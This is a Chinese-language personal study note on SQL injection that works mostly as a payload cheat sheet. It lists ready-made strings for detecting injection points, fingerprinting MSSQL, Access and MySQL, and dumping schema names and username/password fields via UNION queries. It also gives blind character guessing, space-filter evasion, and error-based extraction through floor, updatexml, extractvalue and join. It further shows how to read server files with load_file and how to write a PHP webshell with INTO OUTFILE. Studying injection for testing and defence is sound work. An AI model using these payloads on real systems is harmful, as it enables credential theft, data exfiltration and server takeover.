SQL注入
暑假無聊,想着整理一下學過的知識,總結一下常見的知識點,瀕危下一步的學習打下基礎,這是系列第一篇:SQL注入
1、SQL注入原理
SQL注入是因爲過於信任用戶,未對用戶的輸入進行過濾,攻擊者可以通過將惡意的Sql查詢或添加語句插入到應用的輸入參數中,再在後臺Sql服務器上解析執行,進行攻擊
2、SQL注入流程
1、判斷注入點及注入類型:
粗略型:提交單引號’
邏輯型(數字型注入):and 1=1/and 1=2
邏輯型(字符型注入):’ and ‘1’=‘1/’ and ‘1’='2
邏輯型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
2、簡單判斷數據庫信息:
粗略型:
加單引號’(根據服務器報錯的信息來判斷)
加;–(;表示分離,-- 則是註釋符,;和–MSSQL數據庫有,ACCESS數據庫沒有)
邏輯型:
and user>0
and (select count(*) from msysobjects)>0 ……(頁面錯誤爲access數據庫)
and (select count(*) from sysobjects)>0 ……(頁面正常爲MSSQL數據庫)
and db_name()>0 ……(爆數據庫名)
and version>0(爆SQLServer版本信息以及服務器操作系統的類型和版本信息)
判斷MSSQL權限:
and 0<>(Select ISSRVROLEMEMBER(‘sysadmin’))–(頁面正常則爲SA)
and 0<>(Select IS_MEMBER(‘db_owner’))–(頁面正常則爲db_owner)
and 0<>(Select IS_MEMBER(‘public’))–(頁面正常則是public)
注意:
以上方法適用於參數是int數字型的時候。
若爲字符型,需在參數後添加單引號’並在查詢語句後添加;–,搜索型注入以此類推。
判斷MYSQL權限:
and ord(mid(user(),1,1))=114 /* (頁面正常說明爲root)
3、猜解數據庫、數據庫名、表名、字段名、字段內容
(1)mysql數據庫:
假設注入點爲?id=1
判斷字段數:
order by方法: ?id=1 order by x-- (將x修改爲1~n,直到報錯前一個數即爲字段數)
union聯合查詢: ?id =1 and 1=1 union select 1,2,3,4,5...
判斷顯示位:
?id=1 and 1=2 union select 1,2,3,4,5...
也可以將and 1=2 換爲?id=-1
查詢數據庫(假設字段數爲10,回顯位爲4):
版本大於5.0的mysql的information_schema庫中存儲着mysql的所有數據庫和表結構信息,所以可以利用information_schema庫快速注入。
獲取第一個庫名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
獲取第二個庫名:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2 以此類推。
也可以使用:and 1=2 union select 1,2,3,group_concat(SCHEMA_NAME),5,6,7,8,9,10 from information_schema.SCHEMATA 將所有數據庫顯示出來
查詢表:
and 1=2 union select 1,2,3,group_concat(TABLE_NAME),5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA='數據庫名'
查詢列:
and 1=2 Union select 1,2,3,group_concat(COLUMN_NAME),5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME='表名'
查詢字段內容:
在不同的顯示位顯示不同的字段內容:
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
在同一個顯示位顯示不同的字段內容:
and 1=2 Union select 1,2,3,concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
mysql讀取寫入文件(用來寫入webshell)
必備條件:
讀:file權限必備
寫:1.絕對路徑 2.union使用 3. 可以使用''
-------------------------讀----------------------
mysql3.x讀取方法
create table a(cmd text);
load data infile 'c:\xxx\xxx\xxx.txt' into table a;
select * from a;
mysql4.x讀取方法
除上述方法還可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\ddd\ddd\ddd.txt'));
select * from a;
mysql5.x讀取方法
上述兩種都可以
讀取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
-------------------------寫--------------------------
into outfile寫文件
union select 1,2,3,char(這裏寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
(2)ACCESS注入
猜解表名:
and 0<>(select count(*) from 表名) 或 and exists(Select * from 表名)
猜解字段:
and exists(Select 字段名 from 表名)(頁面正常存在該字段,不正常不存在該字段)
猜解用戶名和密碼長度:
and(Select top 1 len(列名) from 表名)>N
(TOP表示把最前面的一條記錄提取出來;N爲變換猜解的列長度,頁面錯誤即說明該列長度爲N)
如:
and 1=(select count(*) from user where len(name)>6) 錯誤
and 1=(select count(*) from user where len(name)>5) 正確
則表示user表中name字段的第一條記錄的長度是6。
猜解用戶名和密碼:
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
如:
and (select top 1 asc(mid(name,1,1)) from user)>96 頁面正常
and (select top 1 asc(mid(name,1,1)) from user)>97 頁面錯誤
則表示user表中name字段的第一條記錄的第一個字符的ASCLL碼爲97
注意:
因爲MD5的密文長度通常有16位、18位、32位、40位等幾種,
所以猜解密碼的時候試一試15、16、17、18、31、32、39、40等長度可以加快猜解進度。
4、部分其他知識
過濾空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多條數據顯示
concat()
group_concat()
concat_ws()
4.相關函數
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統 Windows Server 2003
報錯注入:
通過floor報錯 、ExtractValue、 UpdateXml、 join報錯注入
這種方法適用於注入的時候沒有返回位。 而且能返回mysql錯誤提示,php返回錯誤提示。
原理:當在一個聚合函數,比如count函數後面如果使用分組語句就會把 查詢的一部分以錯誤的形式顯示出來。
一、floor報錯注入:
其實主要就是套公式,公式分爲4部分:
1,邏輯錯誤部分,也就是將GET變量取值變爲邏輯錯誤值,例如.php?id=0 或者.php?id=12+and+1=2
2,固定SQL聯合查詢語句,語句爲:(核心) union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆數據語 句))a from information_schema.tables group by a)b
3,註釋語句,將整個語句後面的部分註釋掉,可以用"/*"註釋符,也可以用 "–“終止符,也可以用%23這個”#"字符
4,注入爆數據語句,基本格式就是select XX from YY的格式。
例:
1、顯示當前數據庫名,登陸用戶,數據庫版本和數據路徑
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+con cat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+fro m+information_schema.tables+group+by+a)b 獲取所有的數據庫名
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(SELECT distinct concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e)+FROM+information_sch ema.SCHEMATA+LIMIT+0,1))a+from information_schema.tables+group+by+a)b
2、爆當前數據庫中的表
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_na me+from+information_schema.tables+where+table_schema=database()+limit+0, 1))a+from+information_schema.tables+group+by+a)b
3、爆字段
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_n ame+from+information_schema.columns+where+table_name=表名 +limit+0,1))a+from+information_schema.tables+group+by+a)b
4、爆內容
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x 3a,字段1,0x3a,字段2)+from+表名 +limit+0,1))a+from+information_schema.tables+group+by+a)b
二、updatexml報錯注入:
例:
updatexml(1,(concat(0x7e,(select database()),0x7e)),1)
三、ExtractValue
測試語句 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));
實際測試過程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));
– ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
解釋: extractvalue()函數有兩個參數,在實際注入時第一個參數設爲1,第二個參 數就是需要爆的數據; 在爆的數據前不連接其他字符可能會顯示不完全
四、join注入
利用重複查詢相同表的方法來報數據。 下面以爆mysql.user表爲例爆字段名的過程:
(1)爆第一個列名 select * from(select * from mysql.user a join mysql.user b)c;
(2)爆第二個列名(使用using) select * from(select * from mysql.user a join mysql.user b using(Host))c;
(3)爆第三列名(還是使用using,參數是前兩個列的列名) select * from(select * from mysql.user a join mysql.user b using(Host,User))c;